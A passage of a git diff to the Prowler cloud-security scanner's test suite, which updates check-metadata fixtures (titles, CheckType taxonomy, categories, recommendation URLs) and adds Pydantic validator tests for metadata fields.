bulk_checks_metadata=bulk_checks_metatada, + bulk_checks_metadata=bulk_checks_metadata, check_list=check_list, categories=categories, provider=self.provider, diff --git a/tests/lib/check/check_test.py b/tests/lib/check/check_test.py index 868d4c66fe..b6332deb25 100644 --- a/tests/lib/check/check_test.py +++ b/tests/lib/check/check_test.py @@ -24,7 +24,7 @@ from prowler.lib.check.check import ( remove_custom_checks_module, update_audit_metadata, ) -from prowler.lib.check.models import load_check_metadata +from prowler.lib.check.models import CheckMetadata, load_check_metadata from prowler.lib.check.utils import ( list_modules, recover_checks_from_provider, @@ -412,7 +412,7 @@ class TestCheck: }, "expected": { "CheckID": "iam_user_accesskey_unused", - "CheckTitle": "Ensure Access Keys unused are disabled", + "CheckTitle": "Access Keys unused should be disabled", "ServiceName": "iam", "Severity": "low", }, @@ -502,7 +502,7 @@ class TestCheck: "ResourceType": "AwsCustomResource", "Description": "A test custom check", "Risk": "Test risk", - "RelatedUrl": "https://example.com", + "RelatedUrl": "", "Remediation": { "Code": {"CLI": "", "NativeIaC": "", "Other": "", "Terraform": ""}, "Recommendation": {"Text": "", "Url": ""}, @@ -614,7 +614,7 @@ class TestCheck: "forensics-ready", "encryption", "internet-exposed", - "trustboundaries", + "trust-boundaries", } listed_categories = list_categories(test_bulk_checks_metadata) assert listed_categories == expected_categories @@ -958,7 +958,98 @@ class TestCheck: ) self.verify_metadata_check_id(base_directory) + def test_alibabacloud_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/alibabacloud/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_cloudflare_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/cloudflare/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_github_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/github/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_googleworkspace_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/googleworkspace/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_m365_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/m365/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_mongodbatlas_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/mongodbatlas/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_nhn_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/nhn/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_openstack_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/openstack/services", + ) + ) + self.verify_metadata_check_id(base_directory) + + def test_oraclecloud_checks_metadata_is_valid(self): + base_directory = os.path.abspath( + os.path.join( + os.path.dirname(__file__), + "../../../", + "prowler/providers/oraclecloud/services", + ) + ) + self.verify_metadata_check_id(base_directory) + def verify_metadata_check_id(self, provider_path): + errors = [] # Walk through the base directory to find all service directories for root, dirs, _ in os.walk(provider_path): # We only want to look at directories that are direct children of the base directory @@ -984,9 +1075,20 @@ class TestCheck: check_id = data.get("CheckID", None) # Compare CheckID to the check name - assert ( - check_id == check_dir - ), f"CheckID in metadata does not match the check name in {check_directory}. Found CheckID: {check_id}" + if check_id != check_dir: + errors.append( + f"CheckID in metadata does not match the check name in {check_directory}. Found CheckID: {check_id}" + ) + + # Validate metadata against Pydantic validators + try: + CheckMetadata.parse_file(metadata_file_path) + except Exception as e: + errors.append( + f"Metadata validation failed for {metadata_file_path}: {e}" + ) + + assert not errors, "\n\n".join(errors) def test_execute_check_exception_only_logs(self, caplog): caplog.set_level(ERROR) diff --git a/tests/lib/check/compliance_check_test.py b/tests/lib/check/compliance_check_test.py index 3fae02fa87..73f93e3b38 100644 --- a/tests/lib/check/compliance_check_test.py +++ b/tests/lib/check/compliance_check_test.py @@ -197,7 +197,7 @@ class TestCompliance: Provider="aws", CheckID="accessanalyzer_enabled", CheckTitle="Check 1", - CheckType=["type1"], + CheckType=["TTPs/Initial Access"], ServiceName="accessanalyzer", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -205,7 +205,7 @@ class TestCompliance: ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -213,9 +213,12 @@ class TestCompliance: "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/accessanalyzer_enabled", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -225,7 +228,7 @@ class TestCompliance: Provider="aws", CheckID="iam_user_mfa_enabled_console_access", CheckTitle="Check 2", - CheckType=["type2"], + CheckType=["TTPs/Credential Access"], ServiceName="iam", SubServiceName="subservice2", ResourceIdTemplate="template2", @@ -233,7 +236,7 @@ class TestCompliance: ResourceType="resource2", Description="Description 2", Risk="risk2", - RelatedUrl="url2", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli2", @@ -241,9 +244,12 @@ class TestCompliance: "Other": "other2", "Terraform": "terraform2", }, - "Recommendation": {"Text": "text2", "Url": "url2"}, + "Recommendation": { + "Text": "text2", + "Url": "https://hub.prowler.com/check/iam_user_mfa_enabled_console_access", + }, }, - Categories=["categorytwo"], + Categories=["logging"], DependsOn=["dependency2"], RelatedTo=["related2"], Notes="notes2", diff --git a/tests/lib/check/custom_checks_metadata_test.py b/tests/lib/check/custom_checks_metadata_test.py index 69f27880a8..9037131675 100644 --- a/tests/lib/check/custom_checks_metadata_test.py +++ b/tests/lib/check/custom_checks_metadata_test.py @@ -27,7 +27,9 @@ S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_REMEDIATION_OTHER = "https://github.com/clou S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_REMEDIATION_TEXT = ( "Enable the S3 bucket level public access block." ) -S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_REMEDIATION_URL = "https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html" +S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_REMEDIATION_URL = ( + "https://hub.prowler.com/check/s3_bucket_level_public_access_block" +) class TestCustomChecksMetadata: @@ -36,7 +38,7 @@ class TestCustomChecksMetadata: Provider="aws", CheckID=S3_BUCKET_LEVEL_PUBLIC_ACCESS_BLOCK_NAME, CheckTitle="Check S3 Bucket Level Public Access Block.", - CheckType=["Data Protection"], + CheckType=["Sensitive Data Identifications/PII"], CheckAliases=[], ServiceName="s3", SubServiceName="", @@ -45,7 +47,7 @@ class TestCustomChecksMetadata: ResourceType="AwsS3Bucket", Description="Check S3 Bucket Level Public Access Block.", Risk="Public access policies may be applied to sensitive data buckets.", - RelatedUrl="https://docs.aws.amazon.com/AmazonS3/latest/userguide/access-control-block-public-access.html", + RelatedUrl="", Remediation=Remediation( Code=Code( NativeIaC="", diff --git a/tests/lib/check/fixtures/bulk_checks_metadata.py b/tests/lib/check/fixtures/bulk_checks_metadata.py index d0eee8bc66..5cd8c649e4 100644 --- a/tests/lib/check/fixtures/bulk_checks_metadata.py +++ b/tests/lib/check/fixtures/bulk_checks_metadata.py @@ -4,14 +4,16 @@ test_bulk_checks_metadata = { "vpc_peering_routing_tables_with_least_privilege": CheckMetadata( Provider="aws", CheckID="vpc_peering_routing_tables_with_least_privilege", - CheckTitle="Ensure routing tables for VPC peering are least access.", - CheckType=["Infrastructure Security"], + CheckTitle="VPC peering routing tables should follow least access.", + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], ServiceName="vpc", SubServiceName="route_table", ResourceIdTemplate="arn:partition:service:region:account-id:resource-id", Severity="medium", ResourceType="AwsEc2VpcPeeringConnection", - Description="Ensure routing tables for VPC peering are least access.", + Description="VPC peering routing tables should follow least access.", Risk="Being highly selective in peering routing tables is a very effective way of minimizing the impact of breach as resources outside of these routes are inaccessible to the peered VPC.", RelatedUrl="", Remediation=Remediation( @@ -23,7 +25,7 @@ test_bulk_checks_metadata = { ), Recommendation=Recommendation( Text="Review routing tables of peered VPCs for whether they route all subnets of each VPC and whether that is necessary to accomplish the intended purposes for peering the VPCs.", - Url="https://docs.aws.amazon.com/vpc/latest/peering/peering-configurations-partial-access.html", + Url="https://hub.prowler.com/check/vpc_peering_routing_tables_with_least_privilege", ), ), Categories=["forensics-ready"], @@ -35,8 +37,10 @@ test_bulk_checks_metadata = { "vpc_subnet_different_az": CheckMetadata( Provider="aws", CheckID="vpc_subnet_different_az", - CheckTitle="Ensure all vpc has subnets in more than one availability zone", - CheckType=["Infrastructure Security"], + CheckTitle="VPC should have subnets in more than one availability zone", + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], ServiceName="vpc", SubServiceName="subnet", ResourceIdTemplate="arn:partition:service:region:account-id:resource-id", @@ -44,13 +48,13 @@ test_bulk_checks_metadata = { ResourceType="AwsEc2Vpc", Description="Ensure all vpc has subnets in more than one availability zone", Risk="", - RelatedUrl="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html", + RelatedUrl="", Remediation=Remediation( Code=Code( NativeIaC="", Terraform="", CLI="aws ec2 create-subnet", Other="" ), Recommendation=Recommendation( - Text="Ensure all vpc has subnets in more than one availability zone", + Text="VPC should have subnets in more than one availability zone", Url="", ), ), @@ -63,8 +67,10 @@ test_bulk_checks_metadata = { "vpc_subnet_separate_private_public": CheckMetadata( Provider="aws", CheckID="vpc_subnet_separate_private_public", - CheckTitle="Ensure all vpc has public and private subnets defined", - CheckType=["Infrastructure Security"], + CheckTitle="VPC should have public and private subnets defined", + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], ServiceName="vpc", SubServiceName="subnet", ResourceIdTemplate="arn:partition:service:region:account-id:resource-id", @@ -72,16 +78,16 @@ test_bulk_checks_metadata = { ResourceType="AwsEc2Vpc", Description="Ensure all vpc has public and private subnets defined", Risk="", - RelatedUrl="https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html", + RelatedUrl="", Remediation=Remediation( Code=Code( NativeIaC="", Terraform="", CLI="aws ec2 create-subnet", Other="" ), Recommendation=Recommendation( - Text="Ensure all vpc has public and private subnets defined", Url="" + Text="VPC should have public and private subnets defined", Url="" ), ), - Categories=["internet-exposed", "trustboundaries"], + Categories=["internet-exposed", "trust-boundaries"], DependsOn=[], RelatedTo=[], Notes="", @@ -90,16 +96,18 @@ test_bulk_checks_metadata = { "workspaces_volume_encryption_enabled": CheckMetadata( Provider="aws", CheckID="workspaces_volume_encryption_enabled", - CheckTitle="Ensure that your Amazon WorkSpaces storage volumes are encrypted in order to meet security and compliance requirements", - CheckType=[], + CheckTitle="Amazon WorkSpaces storage volumes should be encrypted", + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices/Runtime Behavior Analysis" + ], ServiceName="workspaces", SubServiceName="", ResourceIdTemplate="arn:aws:workspaces:region:account-id:workspace", Severity="high", ResourceType="AwsWorkspaces", - Description="Ensure that your Amazon WorkSpaces storage volumes are encrypted in order to meet security and compliance requirements", + Description="Amazon WorkSpaces storage volumes should be encrypted to meet security and compliance requirements", Risk="If the value listed in the Volume Encryption column is Disabled the selected AWS WorkSpaces instance volumes (root and user volumes) are not encrypted. Therefore your data-at-rest is not protected from unauthorized access and does not meet the compliance requirements regarding data encryption.", - RelatedUrl="https://docs.aws.amazon.com/workspaces/latest/adminguide/encrypt-workspaces.html", + RelatedUrl="", Remediation=Remediation( Code=Code( NativeIaC="https://docs.prowler.com/checks/ensure-that-workspace-root-volumes-are-encrypted#cloudformation", @@ -109,7 +117,7 @@ test_bulk_checks_metadata = { ), Recommendation=Recommendation( Text="WorkSpaces is integrated with the AWS Key Management Service (AWS KMS). This enables you to encrypt storage volumes of WorkSpaces using AWS KMS Key. When you launch a WorkSpace you can encrypt the root volume (for Microsoft Windows - the C drive; for Linux - /) and the user volume (for Windows - the D drive; for Linux - /home). Doing so ensures that the data stored at rest - disk I/O to the volume - and snapshots created from the volumes are all encrypted", - Url="https://docs.aws.amazon.com/workspaces/latest/adminguide/encrypt-workspaces.html", + Url="https://hub.prowler.com/check/workspaces_volume_encryption_enabled", ), ), Categories=["encryption"], @@ -121,21 +129,23 @@ test_bulk_checks_metadata = { "workspaces_vpc_2private_1public_subnets_nat": CheckMetadata( Provider="aws", CheckID="workspaces_vpc_2private_1public_subnets_nat", - CheckTitle="Ensure that the Workspaces VPC are deployed following the best practices using 1 public subnet and 2 private subnets with a NAT Gateway attached", - CheckType=[], + CheckTitle="Workspaces VPC should use 1 public and 2 private subnets with NAT Gateway", + CheckType=[ + "Software and Configuration Checks/AWS Security Best Practices/Runtime Behavior Analysis" + ], ServiceName="workspaces", SubServiceName="", ResourceIdTemplate="arn:aws:workspaces:region:account-id:workspace", Severity="medium", ResourceType="AwsWorkspaces", - Description="Ensure that the Workspaces VPC are deployed following the best practices using 1 public subnet and 2 private subnets with a NAT Gateway attached", + Description="Workspaces VPC should be deployed with 1 public subnet and 2 private subnets with a NAT Gateway attached", Risk="Proper network segmentation is a key security best practice. Workspaces VPC should be deployed using 1 public subnet and 2 private subnets with a NAT Gateway attached", - RelatedUrl="https://docs.aws.amazon.com/workspaces/latest/adminguide/amazon-workspaces-vpc.html", + RelatedUrl="", Remediation=Remediation( Code=Code(NativeIaC="", Terraform="", CLI="", Other=""), Recommendation=Recommendation( Text="Follow the documentation and deploy Workspaces VPC using 1 public subnet and 2 private subnets with a NAT Gateway attached", - Url="https://docs.aws.amazon.com/workspaces/latest/adminguide/amazon-workspaces-vpc.html", + Url="https://hub.prowler.com/check/workspaces_vpc_2private_1public_subnets_nat", ), ), Categories=[], diff --git a/tests/lib/check/fixtures/metadata.json b/tests/lib/check/fixtures/metadata.json index a376d491a9..b26438aac8 100644 --- a/tests/lib/check/fixtures/metadata.json +++ b/tests/lib/check/fixtures/metadata.json @@ -1,10 +1,10 @@ { "Categories": [ - "cat-one", - "cat-two" + "encryption", + "logging" ], "CheckID": "iam_user_accesskey_unused", - "CheckTitle": "Ensure Access Keys unused are disabled", + "CheckTitle": "Access Keys unused should be disabled", "CheckType": [ "Software and Configuration Checks" ], @@ -25,14 +25,14 @@ "othercheck1", "othercheck2" ], - "Description": "Ensure Access Keys unused are disabled", + "Description": "Access Keys unused should be disabled", "Notes": "additional information", "Provider": "aws", "RelatedTo": [ "othercheck3", "othercheck4" ], - "RelatedUrl": "https://serviceofficialsiteorpageforthissubject", + "RelatedUrl": "", "Remediation": { "Code": { "CLI": "cli command or URL to the cli command location.", @@ -42,7 +42,7 @@ }, "Recommendation": { "Text": "Run sudo yum update and cross your fingers and toes.", - "Url": "https://myfp.com/recommendations/dangerous_things_and_how_to_fix_them.html" + "Url": "https://hub.prowler.com/check/iam_user_accesskey_unused" } }, "ResourceIdTemplate": "arn:partition:service:region:account-id:resource-id", diff --git a/tests/lib/check/models_test.py b/tests/lib/check/models_test.py index 3c490e20c5..815479cdfa 100644 --- a/tests/lib/check/models_test.py +++ b/tests/lib/check/models_test.py @@ -11,7 +11,7 @@ mock_metadata = CheckMetadata( Provider="aws", CheckID="accessanalyzer_enabled", CheckTitle="Check 1", - CheckType=["type1"], + CheckType=["Software and Configuration Checks/AWS Security Best Practices"], ServiceName="accessanalyzer", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -19,7 +19,7 @@ mock_metadata = CheckMetadata( ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -27,9 +27,12 @@ mock_metadata = CheckMetadata( "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/accessanalyzer_enabled", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -40,7 +43,7 @@ mock_metadata_lambda = CheckMetadata( Provider="aws", CheckID="awslambda_function_url_public", CheckTitle="Check 1", - CheckType=["type1"], + CheckType=["Software and Configuration Checks/AWS Security Best Practices"], ServiceName="awslambda", SubServiceName="subservice1", ResourceIdTemplate="template1", @@ -48,7 +51,7 @@ mock_metadata_lambda = CheckMetadata( ResourceType="resource1", Description="Description 1", Risk="risk1", - RelatedUrl="url1", + RelatedUrl="", Remediation={ "Code": { "CLI": "cli1", @@ -56,9 +59,12 @@ mock_metadata_lambda = CheckMetadata( "Other": "other1", "Terraform": "terraform1", }, - "Recommendation": {"Text": "text1", "Url": "url1"}, + "Recommendation": { + "Text": "text1", + "Url": "https://hub.prowler.com/check/awslambda_function_url_public", + }, }, - Categories=["categoryone"], + Categories=["encryption"], DependsOn=["dependency1"], RelatedTo=["related1"], Notes="notes1", @@ -175,7 +181,7 @@ class TestCheckMetada: bulk_metadata = CheckMetadata.get_bulk(provider="aws") result = CheckMetadata.list( - bulk_checks_metadata=bulk_metadata, category="categoryone" + bulk_checks_metadata=bulk_metadata, category="encryption" ) # Assertions @@ -330,13 +336,1473 @@ class TestCheckMetada: result = CheckMetadata.list(bulk_checks_metadata=bulk_metadata) assert result == set() + +class TestCheckMetadataValidators: + """Test class for CheckMetadata validators""" + + def test_valid_category_success(self): + """Test valid category validation with valid categories""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption", "logging", "secrets"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + # Should not raise any validation error + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.Categories == ["encryption", "logging", "secrets"] + + def test_valid_category_failure_non_string(self): + """Test valid category validation fails with non-string category""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": [123], # Invalid: number instead of string + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Categories must be a list of strings" in str(exc_info.value) + + def test_valid_category_failure_invalid_format(self): + """Test valid category validation fails with invalid format""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["invalid_category!"], # Invalid: contains special character + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert ( + "Categories can only contain lowercase letters, numbers and hyphen" + in str(exc_info.value) + ) + + def test_valid_category_failure_not_predefined(self): + """Test valid category validation fails with non-predefined category""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["not-a-real-category"], # Invalid: not in predefined list + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "Invalid category: 'not-a-real-category'. Must be one of:" in str( + exc_info.value + ) + + def test_valid_category_all_predefined_values(self): + """Test that all predefined categories are accepted""" + from prowler.lib.check.models import VALID_CATEGORIES + + for category in VALID_CATEGORIES: + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": [category], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + check_metadata = CheckMetadata(**valid_metadata) + assert category in check_metadata.Categories + + def test_severity_to_lower_success(self): + """Test severity validation converts to lowercase""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "HIGH", # Uppercase - should be converted to lowercase + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.Severity == "high" + + def test_valid_cli_command_success(self): + """Test CLI command validation with valid command""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "aws iam create-role --role-name test", # Valid CLI command + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + # Should not raise any validation error + check_metadata = CheckMetadata(**valid_metadata) + assert "aws iam create-role" in check_metadata.Remediation.Code.CLI + + def test_valid_cli_command_failure_url(self): + """Test CLI command validation fails with URL""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "TestResource", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "https://example.com/command", # Invalid: URL instead of command + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "CLI command cannot be an URL" in str(exc_info.value) + + def test_valid_resource_type_success(self): + """Test resource type validation with valid resource type""" + valid_metadata = { + "Provider": "azure", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "AWS::IAM::Role", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.ResourceType == "AWS::IAM::Role" + + def test_valid_resource_type_failure_empty(self): + """Test resource type validation fails with empty string""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "test_check", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "test", + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "", # Invalid: empty string + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "ResourceType must be a non-empty string" in str(exc_info.value) + + def test_validate_service_name_success(self): + """Test service name validation with valid service name matching CheckID""" + valid_metadata = { + "Provider": "azure", + "CheckID": "s3_bucket_public_read", + "CheckTitle": "Test Check", + "CheckType": [], + "ServiceName": "s3", # Matches first part of CheckID + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "AWS::S3::Bucket", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + check_metadata = CheckMetadata(**valid_metadata) + assert check_metadata.ServiceName == "s3" + + def test_validate_service_name_failure_mismatch(self): + """Test service name validation fails when not matching CheckID""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "s3_bucket_public_read", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "ec2", # Does not match first part of CheckID + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "AWS::S3::Bucket", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert ( + "ServiceName ec2 does not belong to CheckID s3_bucket_public_read" + in str(exc_info.value) + ) + + def test_validate_service_name_failure_uppercase(self): + """Test service name validation fails with uppercase""" + invalid_metadata = { + "Provider": "aws", + "CheckID": "S3_bucket_public_read", + "CheckTitle": "Test Check", + "CheckType": ["TTPs/Discovery"], + "ServiceName": "S3", # Invalid: uppercase + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + "ResourceType": "AWS::S3::Bucket", + "Description": "Test description", + "Risk": "Test risk", + "RelatedUrl": "", + "Remediation": { + "Code": { + "CLI": "test command", + "NativeIaC": "test native", + "Other": "test other", + "Terraform": "test terraform", + }, + "Recommendation": { + "Text": "test recommendation", + "Url": "https://hub.prowler.com/check/test_check", + }, + }, + "Categories": ["encryption"], + "DependsOn": [], + "RelatedTo": [], + "Notes": "Test notes", + } + + with pytest.raises(ValidationError) as exc_info: + CheckMetadata(**invalid_metadata) + assert "ServiceName S3 must be in lowercase" in str(exc_info.value) + + def test_validate_service_name_iac_provider_success(self): + """Test service name validation allows any service name for IAC provider""" + valid_metadata = { + "Provider": "iac", + "CheckID": "custom_check_id", + "CheckTitle": "Test Check", + "CheckType": [ + "Software and Configuration Checks/AWS Security Best Practices/Network Reachability" + ], + "ServiceName": "CustomService", # Valid for IAC provider + "SubServiceName": "subtest", + "ResourceIdTemplate": "template", + "Severity": "high", + 